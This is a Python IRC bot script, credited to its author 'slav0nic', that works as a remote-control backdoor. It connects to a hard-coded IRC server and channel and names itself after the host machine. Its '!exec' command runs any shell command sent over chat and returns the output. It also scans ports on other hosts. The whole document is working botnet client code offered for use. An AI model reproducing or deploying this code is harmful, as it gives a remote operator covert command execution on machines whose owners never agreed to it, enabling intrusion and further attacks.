#-----------------------------------------------+ # ._____________________. | # Coded by slav0nic | slav0nic0@gmail.com | | # ^---------------------^ | # Site: slav0nic.xss.ru | #-----------------------------------------------+ # # #commands: !exit','!port','!version','!exec' #!port [host][port] - check open port #!exec [commend] - exec command import socket import os import sys from random import * from time import * class IRC: def __init__(self): self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.port=6667 self.ch_key='' self.nick = 'slav'+str(randrange(1000)) #bot name self.entermsg='[+]ok' #send msg to chan after connect self.autoentermsg=1 #send self.entermsg self._exec='!exec' #prefix for shell command self.bot_commands=['!exit','!port','!version','!get',self._exec] # self.encoding='1251' #default Russian (encode in you irc client) self.sleep=0.1 #delay between send !exec result lines self.version='0.2' def loop(self): try: self.sock.connect((self.host, self.port)) self.sock.send('NICK %s\r\n' % self.nick) self.sock.send('USER localhost localhost localhost : slavar\r\n') self.sock.send('JOIN %s %s\r\n' % (self.chan,self.ch_key)) if self.autoentermsg: self.__sendprivmsg(self.entermsg) while True: self.res_data = self.sock.recv(1024) print self.res_data #dbg if self.res_data.startswith(':ERROR') or self.res_data.startswith('ERROR'): self.sock.close() print '[-]Serv error' #dbg sys.exit(1) if self.res_data.startswith('PING'): self.sock.send('PONG : PING\r\n') elif self.res_data.find('PRIVMSG')!=-1: msg,msg_type,command,from_=self.__pars_privmsg() print 'msg_type=%s msg=%r cmd=%r'%(msg_type,msg,command)#dbg if (msg_type=="to_user" and command!=''): #this is a bot command if command in self.bot_commands: if command=='!exit': self.__ircexit() self.sock.close() sys.exit(0) elif command=='!version': self.__sendto_user(from_,'Version= \x0303%s'%self.version) elif command=='!exec': stdout=os.popen(msg[(len(command)+1):]) for line in stdout.readlines() : sleep(self.sleep) self.__sendto_user(from_,line) #print line #dbg ## elif command=='!get': ## """DCC SEND will be later ;)""" ## self.__sendto_user(from_,'\x01DCC SEND 123.txt 2130706433 4116 4\x01') #ip to long socket.ntohl(struct.unpack('i',socket.inet_aton('127.0.0.1'))[0]) elif command=='!port': # print '%r %r'%(msg.split()[1],msg.split()[2]) #dbg try: x=self.__check_port(msg.split()[1],msg.split()[2]) except: self.__sendto_user(from_,'\x0304[-]\x0300Error "!port [host] [port]" format') x=-1 if x==1: self.__sendto_user(from_,'\x0303[+]\x0300Port %i Ok'%int(msg.split()[2])) elif x==-1: pass else: self.__sendto_user(from_,'\x0304[-]\x0300Close') elif msg.startswith('\x01DCC SEND'): print 'DCC SEND' #dbg pass else: self.__sendto_user(from_,'\x0304[-]\x0300Unknown command %s'%command) except: print '[-]Error:',sys.exc_value def __ircexit(self): self.sock.send('QUIT :\x0302Go offline\r\n') def __sendprivmsg(self,msg): self.sock.send('PRIVMSG %s :%s\r\n' % (self.chan,msg)) def __sendto_user(self,user,msg): self.sock.send("PRIVMSG %s :%s\r\n"%(user,msg)) def __pars_privmsg(self): msg=self.res_data.split(':',2)[2][:-2] if self.res_data.split(':')[1].split()[2][0]=='#': msg_type='to_chan' else: msg_type= 'to_user' from_= self.res_data.split('!')[0].replace(':','') if msg[0]=='!': command=msg.split()[0].replace('\r\n','') else: command='' return msg, msg_type,command,from_ def __check_port(self,host,port): socktest = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # socktest.settimeout(timeout) try: socktest.connect((host,int(port))) return 1 except: return 0 if __name__ == '__main__': bot = IRC() bot.host = 'irc.lamer.la' #irc server ip (default bot.port=6667) bot.chan = '#chan' bot.ch_key= '' #channel password bot.nick=(socket.gethostname()).replace('.','_')+'_'+str(randrange(10)) # if os.fork(): bot.loop()